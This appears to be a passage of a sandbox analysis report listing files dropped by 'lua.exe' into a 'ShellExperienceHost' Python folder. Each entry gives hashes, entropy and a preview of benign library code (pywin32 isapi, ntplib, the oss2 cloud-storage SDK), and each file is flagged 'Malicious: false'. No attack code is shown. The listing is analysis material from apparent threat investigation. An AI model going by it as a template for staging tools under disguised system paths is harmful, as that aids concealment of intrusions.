Preview:	# This is an ISAPI extension purely for testing purposes. It is NOT.# a 'demo' (even though it may be useful!).#.# Install this extension, then point your browser to:.# "http://localhost/pyisapi_test/test1".# This will execute the method 'test1' below. See below for the list of.# test methods that are acceptable...from isapi import isapicon, threaded_extension, ExtensionError.from isapi.simple import SimpleFilter.import traceback.import urllib.request, urllib.parse, urllib.error.import winerror..# If we have no console (eg, am running from inside IIS), redirect output.# somewhere useful - in this case, the standard win32 trace collector..import win32api.try:. win32api.GetConsoleTitle().except win32api.error:. # No console - redirect. import win32traceutil..# The ISAPI extension - handles requests in our virtual dir, and sends the.# response to the client..class Extension(threaded_extension.ThreadPoolExtension):. "Python ISAPI Tester". def Dispatch(self, ecb):. p

C:\ProgramData\ShellExperienceHost\Lib\site-packages\isapi\threaded_extension.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	7214
Entropy (8bit):	4.5292849377379
Encrypted:	false
SSDEEP:	192:pjBkE/cXlsYMNKGxo9yU/tj4tcT6FnDVYt9TTqlk:pjxvYMN/SBV4tcTqnDVRk
MD5:	4D95C544913F523779F256E477697CF3
SHA1:	434541EDB0FCEE0A923D71FFCC3E93F4AB04C18E
SHA-256:	D1624412936A5CFE92AA8D7BB95814BC605D39C569CC22B090F2D735CF75FDA6
SHA-512:	256B208B551E3E166C5B0E921FDA662706E9CB9E6266275B7769B9CC8D281634EF7138E21E90DDB29B449D88EEE589715ADAB01C07A88498A0817D00C8299362
Malicious:	false
Preview:	"""An ISAPI extension base class implemented using a thread-pool.""".# $Id$..import sys.import time.from isapi import isapicon, ExtensionError.import isapi.simple.from win32file import GetQueuedCompletionStatus, CreateIoCompletionPort, \. PostQueuedCompletionStatus, CloseHandle.from win32security import SetThreadToken.from win32event import INFINITE.from pywintypes import OVERLAPPED..import threading.import traceback..ISAPI_REQUEST = 1.ISAPI_SHUTDOWN = 2..class WorkerThread(threading.Thread):. def __init__(self, extension, io_req_port):. self.running = False. self.io_req_port = io_req_port. self.extension = extension. threading.Thread.__init__(self). # We wait 15 seconds for a thread to terminate, but if it fails to,. # we don't want the process to hang at exit waiting for it.... self.setDaemon(True).. def run(self):. self.running = True. while self.running:. errCode, bytes, key, overla

C:\ProgramData\ShellExperienceHost\Lib\site-packages\ntplib-0.3.4.dist-info\INSTALLER Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\ntplib-0.3.4.dist-info\METADATA Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1382
Entropy (8bit):	5.162135298746545
Encrypted:	false
SSDEEP:	24:DMVcXGDD8Tq4QINICDOTFnQlV6RYqkyo4abCxnp/TKXHsAii2KuXBU3U3Va0:DMVcvTvQImCDsp2TCnaGKXHsVuABU3YL
MD5:	78E4C753F6541FB59E6D4AD963E7F805
SHA1:	758A50C80E46C91CACB61F518BCC8A4476136788
SHA-256:	1DEC883DE59F35D7C13AE0346F25E65FFED1FEE9927283CFDAB820ADDB49B95F
SHA-512:	F50F935AD3DCD3FA79DD22F083CC8C198A3400737E9E3A06416ABFCFBCF3B2C2CCEC0E5656F3F48446B845AE1144C965C749D815B60D212B813AAE791FD7CF75
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: ntplib.Version: 0.3.4.Summary: Python NTP library.Home-page: https://github.com/cf-natali/ntplib.Author: Charles-Francois Natali.Author-email: cf.natali@gmail.com.License: MIT.Platform: UNKNOWN.Classifier: License :: OSI Approved :: MIT License.Classifier: Programming Language :: Python.Classifier: Operating System :: OS Independent.Classifier: Topic :: System :: Networking :: Time Synchronization...ntplib - Python NTP library.===========================..Description.-----------..This module offers a simple interface to query NTP servers from Python...It also provides utility functions to translate NTP fields values to text (mode,.leap indicator...). Since it's pure Python, and only depends on core modules, it.should work on any platform with a Python implementation...Example.-------..>>> import ntplib.>>> from time import ctime.>>> c = ntplib.NTPClient().>>> response = c.request('europe.pool.ntp.org', version=3).>>> response.offset.-0.143156766891.>>> respo

C:\ProgramData\ShellExperienceHost\Lib\site-packages\ntplib-0.3.4.dist-info\RECORD Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	576
Entropy (8bit):	5.878179782365202
Encrypted:	false
SSDEEP:	12:v20a/2zDXLrDZuVPUlWEzpl4J2X0kol2oAfFO2cBAT9NIQny:en/2zDXbZIUlWEsJ2glnTB0NIQy
MD5:	014CA2ABD57AEC1F52ADA8E9D1C7F802
SHA1:	8677E9115D85DACD8EE96DBCB78E2CD485D8F74D
SHA-256:	144547940A668F3FF5515FDFDB943273AD4044CA20B2585ECD176FB11FCE7BA9
SHA-512:	C41CCA99E104754765D890B3C6A993A1C4C591622C41B8E9DA1782CFDDA59EE95B4DFBDCC11B8879037A2FE86455142E1F4A562B7B3BC83F0CE943D9A9E085F2
Malicious:	false
Preview:	__pycache__/ntplib.cpython-37.pyc,,..ntplib-0.3.4.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..ntplib-0.3.4.dist-info/METADATA,sha256=HeyIPeWfNdfBOuA0byXmX_7R_umScoPP2rggrdtJuV8,1382..ntplib-0.3.4.dist-info/RECORD,,..ntplib-0.3.4.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..ntplib-0.3.4.dist-info/WHEEL,sha256=g4nMs7d-Xl9-xC9XovUrsDHGXt-FT0E17Yqo92DEfvY,92..ntplib-0.3.4.dist-info/top_level.txt,sha256=VnQDTkmpqDRP8JA053hBpTY6HMR44cLtdvWLHhdP_9A,7..ntplib.py,sha256=b5LqE6j6D8Tne1c3ldSAWbd8ZhwvCoYi49GJvGrGYDg,13864..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\ntplib-0.3.4.dist-info\WHEEL Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	92
Entropy (8bit):	4.842566724466667
Encrypted:	false
SSDEEP:	3:RtEeX7MWcSlVitcv6KjP+tPCCfA5S:RtBMwlViWZWBBf
MD5:	2295CBFB2556C76D0EB0F184F7F5E416
SHA1:	AC049E2836CED0D89815B6A59D6FA063094EEA71
SHA-256:	8389CCB3B77E5E5F7EC42F57A2F52BB031C65EDF854F4135ED8AA8F760C47EF6
SHA-512:	9579F4AA5FB4131B79F1162100756459B0175521C919ACD75C74219531404191962FE56488CD0881D05FF8918720069D51CD014FFA19B96B75E1100EC7DECB49
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: bdist_wheel (0.34.2).Root-Is-Purelib: true.Tag: py3-none-any..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\ntplib-0.3.4.dist-info\top_level.txt Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7
Entropy (8bit):	2.8073549220576046
Encrypted:	false
SSDEEP:	3:x4:e
MD5:	6E10C226559E381A473AB6E2BD1C69FE
SHA1:	FBCA73DEC715402FA4C14E122F08C01FF9C0DFD1
SHA-256:	5674034E49A9A8344FF09034E77841A5363A1CC478E1C2ED76F58B1E174FFFD0
SHA-512:	360EDE2F618E71CA4B063828C647CA916362DDC3F62721409C0D8B963304163D7C46580B34AC04A0ECE23B048CA074003C97E22A4A19E812048D9EB273DA402E
Malicious:	false
Preview:	ntplib.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\ntplib.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	13864
Entropy (8bit):	4.767505934624076
Encrypted:	false
SSDEEP:	192:eQHWSkvCdIP2idkB/R0yIpFGYxppweIAsxU9ouEdu0UgRxpHahm1FKV9us:ejSkvCJMkKFGo4xKouEdu0ZHf1FWus
MD5:	31F237DF17A1508EEBEBFA4ECB20C344
SHA1:	4DA8F970656505A40483206EF2B5D3DD5E81711D
SHA-256:	6F92EA13A8FA0FC4E77B573795D48059B77C661C2F0A8622E3D189BC6AC66038
SHA-512:	0FB70F67486534939FD0AFEC38042061B561E8471F8A78AA34FA6C9C5742CD9B0AFB468B137D34DB0697F057212D87E03C2849DC2DDE793FF375DCE50C1050C5
Malicious:	false
Preview:	###############################################################################.# The MIT License (MIT).#.# Copyright (C) 2009-2015 Charles-Francois Natali <cf.natali@gmail.com>.#.# Permission is hereby granted, free of charge, to any person obtaining a copy.# of this software and associated documentation files (the "Software"), to deal.# in the Software without restriction, including without limitation the rights.# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.# copies of the Software, and to permit persons to whom the Software is.# furnished to do so, subject to the following conditions:.#.# The above copyright notice and this permission notice shall be included in.# all copies or substantial portions of the Software..#.# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.# AUTHORS

C:\ProgramData\ShellExperienceHost\Lib\site-packages\oss2\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1075
Entropy (8bit):	4.9905498151421845
Encrypted:	false
SSDEEP:	24:zYOKusLCZRMPxsXGyWsZSCcypXjU5CCSf7KIXsbTcMqbMxfx1tkx6Cx6uteQR:zuj5ypzU6f7KIXcqoxLv7QR
MD5:	A11FA86DC3E7CA74357C891E7E555338
SHA1:	A8D1E2FC97D454F177ECD71F9D592386A71F76C0
SHA-256:	C839F36AF31E547D483135AE55FDBE235A7A87FF760AA3FCAF4A01FCB3FC3A55
SHA-512:	456CD8433D3116EC8C4C442E2DBEE190AC4E6BC6BF59ED3293C4EAFBA9E4CBAE432E4E48EA12B5016F8D5F4477528966AF6629F613CF44CEE7CC9E61D27D9AB8
Malicious:	false
Preview:	__version__ = '2.2.1'..from . import models, exceptions..from .api import Service, Bucket.from .auth import Auth, AnonymousAuth, StsAuth.from .http import Session, CaseInsensitiveDict...from .iterators import (BucketIterator, ObjectIterator,. MultipartUploadIterator, ObjectUploadIterator,. PartIterator, LiveChannelIterator)...from .resumable import resumable_upload, resumable_download, ResumableStore, ResumableDownloadStore, determine_part_size.from .resumable import make_upload_store, make_download_store...from .compat import to_bytes, to_string, to_unicode, urlparse, urlquote, urlunquote..from .utils import SizedFileAdapter, make_progress_adapter.from .utils import content_type_by_name, is_valid_bucket_name.from .utils import http_date, http_to_unixtime, iso8601_to_unixtime, date_to_iso8601, iso8601_to_date...from .models import BUCKET_ACL_PRIVATE, BUCKET_ACL_PUBLIC_READ, BUCKET_ACL_PUBLIC_READ_WRITE.from .models import OBJECT_ACL_DEFAULT

C:\ProgramData\ShellExperienceHost\Lib\site-packages\oss2\api.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	29045
Entropy (8bit):	5.13971865696725
Encrypted:	false
SSDEEP:	384:9xAQNRAcENVt4ubCJucQ0KOOvVpXajRdhJuTW6f2Cnmi9VWfVmWSf:97RAcEMJucQEhJuTPf2Cnmi+VmWSf
MD5:	0FA30A78A62F2E3080E5C34017CACB8D
SHA1:	90A106383C9567B1110E861ABBCF7B4326E39875
SHA-256:	3B13A4EFEB71C77D6E6067913F615F037FB17CAF581113F78EF0CCBBA5DC470E
SHA-512:	F4B4B4B79A5988BC342D8E850B6A3E12A845883738085EA98BCC496B387FA3D5CAE578F37A2E128A8F2FF4099FEF4D68A6A2F897FBC663128BB881B6C8C094D8
Malicious:	false
Preview:	# -- coding: utf-8 --...from . import xml_utils.from . import http.from . import utils.from . import exceptions.from . import defaults..from .models import .from .compat import urlquote, urlparse, to_unicode, to_string..import time.import shutil.import oss2.utils...class _Base(object):. def __init__(self, auth, endpoint, is_cname, session, connect_timeout,. app_name='', enable_crc=True):. self.auth = auth. self.endpoint = _normalize_endpoint(endpoint.strip()). self.session = session or http.Session(). self.timeout = defaults.get(connect_timeout, defaults.connect_timeout). self.app_name = app_name. self.enable_crc = enable_crc.. self._make_url = _UrlMaker(self.endpoint, is_cname).. def _do(self, method, bucket_name, key, kwargs):. key = to_string(key). req = http.Request(method, self._make_url(bucket_name, key),. app_name=self.app_name,. *kwargs)

C:\ProgramData\ShellExperienceHost\Lib\site-packages\oss2\auth.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	7375
Entropy (8bit):	5.026357031608356
Encrypted:	false
SSDEEP:	192:dJAMqrRL53S5kJIsLh3qg5/bAR6DPH485gH:LAMqw6Dx+H
MD5:	0BBEE2119B47C0E4D17CCEDCD67D90E6
SHA1:	9E165D17909ED14122C793D065D8048CD89063A5
SHA-256:	E4E55020688477F0F0BF9AFE91C53AA11F40B6DE9AD14739D41F55BE3562EA39
SHA-512:	B6A0886FECF03A2E5EDD1D454E4D1ED23CD74F999C01E448BEB9D72E1E114C451AEFA35C58E6BABABC4495159A697AB252CFB222E88DBC441C0091DAEA7ED0F9
Malicious:	false
Preview:	# -- coding: utf-8 --..import hmac.import hashlib.import time.import logging..from . import utils.from .compat import urlquote, to_bytes...class Auth(object):. """......AccessKeyId.AccessKeySecret...........""".. _subresource_key_set = frozenset(. ['response-content-type', 'response-content-language',. 'response-cache-control', 'logging', 'response-content-encoding',. 'acl', 'uploadId', 'uploads', 'partNumber', 'group', 'link',. 'delete', 'website', 'location', 'objectInfo', 'objectMeta',. 'response-expires', 'response-content-disposition', 'cors', 'lifecycle',. 'restore', 'qos', 'referer', 'append', 'position', 'security-token',. 'live', 'comp', 'status', 'vod', 'startTime', 'endTime', 'x-oss-process']. ).. def __init__(self, access_key_id, access_key_secret):. self.id = access_key_id.strip(). self.secret = access_key_secret.strip().. def _sign_request(self, req, b

C:\ProgramData\ShellExperienceHost\Lib\site-packages\oss2\compat.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	2176
Entropy (8bit):	5.019080736153315
Encrypted:	false
SSDEEP:	48:XPHyZYlspVV0guChDAeO9T1SCsoY7HvlnQyFC7rjsoYw:XPH4SHgueO9UCJGPAzJD
MD5:	CF785AD22A3F13D17FD064ADE110CB82
SHA1:	FE1E4320865BB2CB55D1D254D20069A3B41D41FF
SHA-256:	07719BA65D9CCD4CAEA623D92D5EA73A96A797C3AE20F0622A0C15005459714A
SHA-512:	E37E8F18F06EF5BB81B02EFAA2AF5A5552FF4E5BC4825A178CA5A099260C180A405BFD4A75EF39FA6A386A0ED518A9AD4D8EFDB22E3592C0606245152DDFA533
Malicious:	false
Preview:	# -- coding: utf-8 --.."""...Python..."""..import sys..is_py2 = (sys.version_info[0] == 2).is_py3 = (sys.version_info[0] == 3)...try:. import simplejson as json.except (ImportError, SyntaxError):. import json...if is_py2:. from urllib import quote as urlquote, unquote as urlunquote. from urlparse import urlparse... def to_bytes(data):. """....unicode. ...utf-8...bytes.........""". if isinstance(data, unicode):. return data.encode('utf-8'). else:. return data.. def to_string(data):. """......str..""". return to_bytes(data).. def to_unicode(data):. """......unicode......unicode..utf-8...bytes.""". if isinstance(data, bytes):. return data.decode('utf-8'). else:. return data.. def stringify(input):. if isinstance(input, dict):. return dict([(stringif

C:\ProgramData\ShellExperienceHost\Lib\site-packages\oss2\defaults.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	886
Entropy (8bit):	5.959303577393942
Encrypted:	false
SSDEEP:	12:icKync6ny7Pl2tPkY/XHF/qccP9rMHeClvrEuMGDb+bwu60gHr4ujYUKBuz:lty7PlSX3F/7cPUlQmb+8+g8SYUKBg
MD5:	5FD21490ED433AF07DA6C5B72685AA8E
SHA1:	11A91A1FF72A36A98AD719CD7E6A94F76A8EBDBC
SHA-256:	39573D42AFB908D2A83D8006E7C525753264021B96C1D2AD9FBEBBFF3B057A5C
SHA-512:	47B6C9A5AC7EC0A10A1EA9370A660B8191835BF1D61AF3027B2EBE620EE958F41398D887F4B4343A63DB7204D4DF2433B44D6F0CDF640C0933920BBA3A7D7A76
Malicious:	false
Preview:	# -- coding: utf-8 --..""".oss2.defaults.~~~~~~~~~~~~~..........."""...def get(value, default_value):. if value is None:. return default_value. else:. return value...#: .......connect_timeout = 60..#: .......request_retries = 3..#: ...............................multipart_threshold = 10 * 1024 * 1024..#: ..........multipart_num_threads = 1..#: .......part_size = 10 * 1024 * 1024...#: ..Session......connection_pool_size = 10...#: .........OSS................multiget..multiget_threshold = 100 * 1024 * 1024..#: .....multiget.......multiget_num_threads = 4..#: .....multiget.........multiget_part_size = 10 * 1024 * 1024

C:\ProgramData\ShellExperienceHost\Lib\site-packages\oss2\exceptions.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	5800
Entropy (8bit):	5.078863632850258
Encrypted:	false
SSDEEP:	96:iPHfwR4LjtcfErdcV4rOcfErZcAPyzgzn0xzXPQKPZKP6PQJmPZFPwPPxOJOFeOO:6oPyzgzGzXPlPZKP6PQwPzP6PxOJOFeH
MD5:	C1CA9FFD0C8165BAEA68847F23909C26
SHA1:	2B72E8A2463225354FAF5EF91FADA5E0ADFA0145
SHA-256:	C020B244E34FB5717267DDFB78F4C6BB5DB0AC400F925F2E3139E769A403F832
SHA-512:	8D4DF7B78E428F489EA1DBF0114E7897B8DFB195CB384313AE618793116F01BCEBE40B357652B04DABF735AD74052C3CFBA6CFA9424A188BEBA07ECBF011AA4F
Malicious:	false
Preview:	# -- coding: utf-8 --..""".oss2.exceptions.~~~~~~~~~~~~~~......."""..import re..import xml.etree.ElementTree as ElementTree.from xml.parsers import expat...from .compat import to_string..._OSS_ERROR_TO_EXCEPTION = {} # populated at end of module...OSS_CLIENT_ERROR_STATUS = -1.OSS_REQUEST_ERROR_STATUS = -2.OSS_INCONSISTENT_ERROR_STATUS = -3..class OssError(Exception):. def __init__(self, status, headers, body, details):. #: HTTP .... self.status = status.. #: ..ID.......OSS.................ID. self.request_id = headers.get('x-oss-request-id', '').. #: HTTP........ self.body = body.. #: ..........string.string.dict. self.details = details.. #: OSS.... self.code = self.details.get('Code', '').. #: OSS..... self.message = self.details.get('Message', '').. def __str__(self):. e

C:\ProgramData\ShellExperienceHost\Lib\site-packages\oss2\http.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	3854
Entropy (8bit):	5.139194982957795
Encrypted:	false
SSDEEP:	48:/KIuWm/v4KmXn8PpepCupepYU7M/B5qCT49wmeMHiYxUKJthqbqzvjRbOweAXFN4:/Tu5/gReOl/B5k6YuUTzvtbOwd4
MD5:	AC2A13A62CC9923119B0A0394EF0FCC4
SHA1:	34D2665D7DEB6A408EBDBC34B5953797096F623C
SHA-256:	19AF1EE68DBC19211AF1520889523276B154BDC590F3C1A076BA33F5091CD5D8
SHA-512:	C90758420FC0BAF43D8D0FED8E3B2A1DF3ECAF3BA663AB9D75F071CFA4E1E51B20EFF77C5099CED720F827CF10B8D195877556D2CFB6DF32590A717F6D939F7D
Malicious:	false
Preview:	# -- coding: utf-8 --..""".oss2.http.~~~~~~~~.........HTTP Adapters...OSS Python SDK....requests...HTTP.................... `Session` . `Request` .`Response` .requests.............."""..import platform..import requests.from requests.structures import CaseInsensitiveDict..from . import __version__, defaults.from .compat import to_bytes.from .exceptions import RequestError.from .utils import file_object_remaining_bytes, SizedFileAdapter..._USER_AGENT = 'aliyun-sdk-python/{0}({1}/{2}/{3};{4})'.format(. __version__, platform.system(), platform.release(), platform.machine(), platform.python_version())...class Session(object):. """.....Session...................HTTP...""". def __init__(self):. self.session = requests.Session().. psize = defaults.connection_pool_size. self.session.mount('http://', requests

C:\ProgramData\ShellExperienceHost\Lib\site-packages\oss2\iterators.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	9425
Entropy (8bit):	5.168956908328588
Encrypted:	false
SSDEEP:	96:um1au7kMskqf/03OL2X1JhL9PJp+rXvALGG/A5ZCIjv25goEA:UB0ZJz2XV5BvaEA
MD5:	E437BD063948507E01B31EBE8C71C10E
SHA1:	799AD0272273FEEEC9B30465097F7B494870A560
SHA-256:	8173EFBC5A2F917FF99EE36DE36A4143BF8519F1DDFDEF86A17064EB6CF7524B
SHA-512:	FEAF1DF5535B53F024EB1E528FB02100624FD0AFB5CF8BCF67B9FF467F19A82AA1EA59E54F7328F8D04AE0648573CAF8396D03F5BE661BBB4246E035EC2652EE
Malicious:	false
Preview:	# -- coding: utf-8 --..""".oss2.iterators.~~~~~~~~~~~~~~.........................Bucket..........."""..from .models import MultipartUploadInfo, SimplifiedObjectInfo.from .exceptions import ServerError..from . import defaults...class _BaseIterator(object):. def __init__(self, marker, max_retries):. self.is_truncated = True. self.next_marker = marker.. max_retries = defaults.get(max_retries, defaults.request_retries). self.max_retries = max_retries if max_retries > 0 else 1.. self.entries = [].. def _fetch(self):. raise NotImplemented # pragma: no cover.. def __iter__(self):. return self.. def __next__(self):. while True:. if self.entries:. return self.entries.pop(0).. if not self.is_truncated:. raise StopIteration.. self.fetch_with_retry().. def next(self):. return self.__next__

C:\ProgramData\ShellExperienceHost\Lib\site-packages\oss2\models.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	20650
Entropy (8bit):	5.546193963915748
Encrypted:	false
SSDEEP:	384:ySM2Zy5Qg33/9BDYBRPyjt/VEHHR+GvDhMtQme4mw1xuBGVPFVDkxn:PQQI3/9BDYBdyt/VEHH1LSJ1NPFV4V
MD5:	8AB2B8CE678FCFF89867A5C1FE6E447C
SHA1:	73E0A4CA45D9CEE0A7E7BCF6B2471487DA5EB03F
SHA-256:	BE7DB66BAC64432495A46D65F542AA5AA3B860198ACE757C9CA45FE61358F261
SHA-512:	FB2FF11949E70CD9387905D8CF48B1840E22402B2E1090CAC79945F5414AEFBBA5350105FAE3D73E2E200F57DCBB604CBA1B881BB945C4FD3A020DB557F81F1F
Malicious:	false
Preview:	# -- coding: utf-8 --..""".oss2.models.~~~~~~~~~~.......Python SDK API..................."""..from .utils import http_to_unixtime, make_progress_adapter, make_crc_adapter.from .exceptions import ClientError...class PartInfo(object):. """............ ...... :func:`list_parts <oss2.Bucket.list_parts>` ....... :func:`complete_multipart_upload. <oss2.Bucket.complete_multipart_upload>` ...... :param int part_number: .... :param str etag: ...ETag. :param int size: ......... `list_parts` ...... :param int last_modified: ...............int... :ref:`unix_time`. """. def __init__(self, part_number, etag, size=None, last_modified=None):. self.part_number = part_number. self.etag = etag. self.size = size. self.last_modified = last_modified...def _hget(headers, key, con

C:\ProgramData\ShellExperienceHost\Lib\site-packages\oss2\resumable.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	25519
Entropy (8bit):	5.1945346573463045
Encrypted:	false
SSDEEP:	192:AkgY71kWe3GdA6JBs3CJ3w1YRmylZLqD9+94V2/+18usQlekRqwBMzzl78id0WEG:xvZz+msjamylto+94P18koZAPcQo
MD5:	C79A98298AFB018F571113E3A15F5667
SHA1:	D06EB44F131072C7B5B1507E866793959C5FF1B8
SHA-256:	9670153E9977023B51F373F4048632E6ED9D92919ECCF4F2C061B4B4929FE458
SHA-512:	9E9226BABFC72BDBA8F201DB0C5AE5E8B07D1CECBB93BD730068E148D4676D5212D4CA566F7FAFA5ED8137DAF92BDB202939FB2917937ED6D5E85A8F1431FF59
Malicious:	false
Preview:	# -- coding: utf-8 --..""".oss2.resumable.~~~~~~~~~~~~~~....................."""..import os..from . import utils.from . import iterators.from . import exceptions.from . import defaults..from .models import PartInfo.from .compat import json, stringify, to_unicode.from .task_queue import TaskQueue...import logging.import functools.import threading.import shutil.import random.import string..._MAX_PART_COUNT = 10000._MIN_PART_SIZE = 100 * 1024...def resumable_upload(bucket, key, filename,. store=None,. headers=None,. multipart_threshold=None,. part_size=None,. progress_callback=None,. num_threads=None):. """........... ......................... `oss2.defaults.multipart_num_threads` ..... ......................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\oss2\task_queue.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2274
Entropy (8bit):	4.335932657432885
Encrypted:	false
SSDEEP:	24:lunHwshpA+JLErQmZAirwWwReBWcToqQqsvY+tM40HDgTqDkx2+aQUvNOnLWR:UnQurirwLephQbYoMXyR2+UvsWR
MD5:	1B47FA392FE1B02D3EFA8ED3E56ECFFA
SHA1:	A87662AAB3C601FD5BB6281D6272CB9A5C8B2071
SHA-256:	5078DD62A58A913E1993636048443AF7FD1AA48C1A87CDBBC286D31F97F39F81
SHA-512:	5BF9BB122E798CC618D17B0B524B2022184511C672AEC48B90631C74699F00783A87EC6DF53B37AB31F7E3AB252D883306E012FEA09FBE86B79D3E22B0D6758E
Malicious:	false
Preview:	# -- coding: utf-8 --..import threading.import sys.import logging..try:. import Queue as queue.except ImportError:. import queue..import traceback...class TaskQueue(object):. def __init__(self, producer, consumers):. self.__producer = producer. self.__consumers = consumers.. self.__threads = [].. # must be an infinite queue, otherwise producer may be blocked after all consumers being dead.. self.__queue = queue.Queue().. self.__lock = threading.Lock(). self.__exc_info = None. self.__exc_stack = ''.. def run(self):. self.__add_and_run(threading.Thread(target=self.__producer_func)).. for c in self.__consumers:. self.__add_and_run(threading.Thread(target=self.__consumer_func, args=(c,))).. # give KeyboardInterrupt chances to happen by joining with timeouts.. while self.__any_active():. for t in self.__threads:. t.join(1).. if self.__exc_info:.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\oss2\utils.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	12951
Entropy (8bit):	5.416396722214392
Encrypted:	false
SSDEEP:	192:YlxbHFSj3BxtW1MIIQkuAH3lUIxw6QI+DrdEVOQSKD+AMAMZ57M1EWrCjUqDW+yM:YlxbHFSj3BxezaxKmStjn7M1ESp7vE
MD5:	B52375B533EF36EF4C80A49236A66CA8
SHA1:	512134C3AE120359DC9FBE1C15765E73092A681B
SHA-256:	C9E776330E185AA356E90B42FEF5732FF1E24542A567F093A08D09FDB1FE65A1
SHA-512:	B810129BD6AD36A22E96CCC69417EB04C1071CDEFFD7A481644935368D4709F552A2291DEA27C4B6B27DD4A63B5AED107047EFB5AE7205ECD1D35948026E51FD
Malicious:	false
Preview:	# -- coding: utf-8 --..""".oss2.utils.----------.........."""..from email.utils import formatdate..import os.path.import mimetypes.import socket.import hashlib.import base64.import threading.import calendar.import datetime.import time.import errno.import crcmod..from .compat import to_string, to_bytes.from .exceptions import ClientError, InconsistentError..._EXTRA_TYPES_MAP = {. ".js": "application/javascript",. ".xlsx": "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet",. ".xltx": "application/vnd.openxmlformats-officedocument.spreadsheetml.template",. ".potx": "application/vnd.openxmlformats-officedocument.presentationml.template",. ".ppsx": "application/vnd.openxmlformats-officedocument.presentationml.slideshow",. ".pptx": "application/vnd.openxmlformats-officedocument.presentationml.presentation",. ".sldx": "application/vnd.openxmlformats-officedocument.presentationml.slide",. ".docx": "application/vnd.openxmlformats-officedo

C:\ProgramData\ShellExperienceHost\Lib\site-packages\oss2\xml_utils.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	15630
Entropy (8bit):	4.773559285984086
Encrypted:	false
SSDEEP:	384:VCuTaydeYGOYu1iU6x7Io9yDQpz6iJRIJOJSzvJLJ7JgJmxZJnRJe:VCuTz8YGHqinIkwvqUnDE
MD5:	9B420CCC95AB46C9F6ADDE275D5BAC6F
SHA1:	C238E2C2E13CC297BAE63D4957C36EACA861234E
SHA-256:	896DE6208E6C759C6D3B19E15E655EAFE8E869A58B798E0091244C6CA6C06412
SHA-512:	43B58E5D939458218588651F4E2A6E60F9D3C32500BE8B30D0B88C9AFFBE32939D7274B2EDD2B38830B5E460AD9116DE71107E75DAB13C83AC06C7C88CB56C83
Malicious:	false
